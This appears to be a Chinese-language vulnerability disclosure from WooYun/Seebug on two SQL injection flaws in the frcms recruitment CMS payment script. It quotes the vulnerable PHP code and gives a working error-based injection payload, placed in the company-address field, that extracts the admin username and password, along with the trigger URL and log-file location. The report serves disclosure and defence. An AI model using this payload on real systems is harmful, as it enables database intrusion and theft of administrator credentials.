### 简要描述:
rt
### 详细说明:
看到\frcms\plus\onlinepay\send.php
```
require_once(dirname(__FILE__).'/../../config.inc.php');
$db=connectdb();
$paytype=intval($paytype);
$amount = trim($amount);
if(!is_numeric($amount)){showmsg('支付金额不合法,必须为数字。',"-1");exit;}
if(!strpos($amount,'.')) $amount=$amount.".00";
$rs = $db->get_one("select p_no,p_shid,p_key,p_name from {$cfg['tb_pre']}payonline where p_chk=1 and p_flag=$paytype");
if($rs){
$ipayno=base64_decode($rs["p_no"]);
$ipayid=base64_decode($rs["p_shid"]);
$ipaykey=base64_decode($rs["p_key"]);
$ipayname=$rs["p_name"];
}else{
showmsg('操作失败!接口故障请联系管理员。',"-1");exit;
}
$orderno = date('YmdHis');
//如果是会员查询会员的相关联系信息
if(_getcookie('user_login')!=''){
$username=_getcookie('user_login'); //注入一
$rs = $db->get_one("select m_tel,m_email,m_address from {$cfg['tb_pre']}member where m_login='$username'");
if($rs){
$p_address=$rs['m_address']; //注入二
$p_email=$rs['m_email'];
$p_tel=$rs['m_tel'];
}else{
showmsg('查无此用户信息,请与网站管理员联系。',"/index.php");exit;
}
}else{
showmsg('登陆时间过长 或 账户为无效账户,请与网站管理员联系。',"../../login.php");exit;
}
$p_address=$p_address==''?'无地址':$p_address;
$p_tel=$p_tel==''?'0':$p_tel;
$p_mid=$ipayno;
$p_amount=$amount;
$p_type=$ipayname;
$p_pmode='';
$p_oid=$orderno;
$p_content=$cfg['sitename'].'会员充值,订单号:'.$orderno;
$p_member=$username;
$p_class=_getcookie('user_type');
$p_date=date('Y-m-d H:i:s');
$p_userip=getip();
//存入在线缴费记录表
$db ->query("INSERT INTO {$cfg['tb_pre']}payback (p_mid,p_amount,p_type,p_pmode,p_oid,p_content,p_member,p_class,p_address,p_email,p_tel,p_date,p_userip,p_isucceed) VALUES('$p_mid','$p_amount','$p_type','$p_pmode','$p_oid','$p_content','$p_member','$p_class','$p_address','$p_email','$p_tel','$p_date','$p_userip',0)");
```
注入一根据前面
[WooYun: 嘉缘人才系统sql注入](http://www.wooyun.org/bugs/wooyun-2015-098098)
这个漏洞,可以知道如何利用。
但是在新版的cookie加上了$cfg['cookie_encode'],但是getcookie函数也变了。
```
function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';
}
```
所以不影响利用。
第二处
任意注册一个公司把公司地址修改为
```
'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)#
```
需要抓包修改一下
[<img src="https://images.seebug.org/upload/201503/1617072036b40cb5d5b4309a96775374a5eca062.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1617072036b40cb5d5b4309a96775374a5eca062.png)
然后访问
```
http://127.0.0.1/frcms/plus/onlinepay/send.php?paytype=2&amount=1
```
[<img src="https://images.seebug.org/upload/201503/16170845faa441fe89b0c7e37a0dafd661a3a850.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16170845faa441fe89b0c7e37a0dafd661a3a850.png)
根据
[WooYun: 嘉缘人才系统两处sql注入打包(直接出数据)](http://www.wooyun.org/bugs/wooyun-2015-0101044)
```
找到记录文件
http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt
```
[<img src="https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png)
数据已出
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161709581cea6af4d885b8c697c55db41c061237.png)
暂无评论